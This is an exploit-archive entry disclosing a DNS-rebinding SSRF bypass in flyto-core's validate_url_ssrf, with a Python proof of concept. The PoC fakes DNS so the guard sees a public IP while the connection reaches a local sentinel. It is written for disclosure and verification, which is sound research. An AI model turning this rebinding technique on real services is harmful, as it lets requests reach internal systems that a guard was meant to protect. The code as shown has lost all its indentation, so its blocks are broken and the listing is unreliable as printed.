# Exploit Title: flyto_core 2.26.7- Server-Side Request Forgery
# Date: 2026-07-17
# Exploit Author: Pig-Tail (Jorge González Milla)
# Vendor Homepage: https://github.com/flytohub/flyto-core
# Software Link: https://github.com/flytohub/flyto-core
# Version: flyto-core <= 2.26.7 (fixed 2.26.8)
# Tested on: Linux
# CVE: N/A
# Category: webapps
# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-6pm8-6f34-9v3g-flyto-core
validate_url_ssrf() validates a resolved IP but the client re-resolves and connects without pinning; a TTL=0 rebind reaches internal targets. Advisory: GHSA-6pm8-6f34-9v3g.
The PoC is a benign, local verification harness (sentinel-based; no network attack, no
persistence, no destructive payload). Run against a local instance of the affected version.
--- PoC (poc_dns_rebinding.py) ---
"""PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).
Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo
flips public->private across successive lookups exactly as an attacker TTL=0 DNS does.
The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the
sentinel (private) -> internal reach that the guard was supposed to block."""
import os, sys, socket, threading, time
sys.path.insert(0, os.path.join(os.getcwd(), "src"))
from core.utils import validate_url_ssrf, SSRFError
# 1) internal "service" sentinel: raw TCP listener on loopback
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
import errno
for _p in (8080, 8443):
try:
srv.bind(("127.0.0.1", _p)); break
except OSError:
continue
else:
raise SystemExit("no allowed port free")
srv.listen(1)
PORT = srv.getsockname()[1]
hit = {"internal": False}
def accept_once():
try:
c,_ = srv.accept(); hit["internal"] = True; c.close()
except OSError:
pass
threading.Thread(target=accept_once, daemon=True).start()
HOST = "rebind.attacker.test"
PUBLIC = "93.184.216.34" # example.com, public -> guard must ALLOW
# 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1
_real = socket.getaddrinfo
calls = {"n": 0}
def flipping_getaddrinfo(host, port, *a, **k):
if host == HOST:
calls["n"] += 1
ip = PUBLIC if calls["n"] == 1 else "127.0.0.1"
return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))]
return _real(host, port, *a, **k)
socket.getaddrinfo = flipping_getaddrinfo
# 3) GUARD runs (resolves #1 = public) -> should PASS
try:
validate_url_ssrf(f" http://{HOST}:{PORT}/ ")
print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/ (saw public {PUBLIC} on resolution #1)")
except SSRFError as e:
print("[guard] blocked (rebinding not effective):", e); sys.exit(0)
# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel
try:
s = socket.create_connection((HOST, PORT), timeout=3); s.close()
except OSError as e:
print("[connect] error:", e)
time.sleep(0.2)
socket.getaddrinfo = _real
print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}")
print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)"
if hit["internal"] else "NOT CONFIRMED")
srv.close()
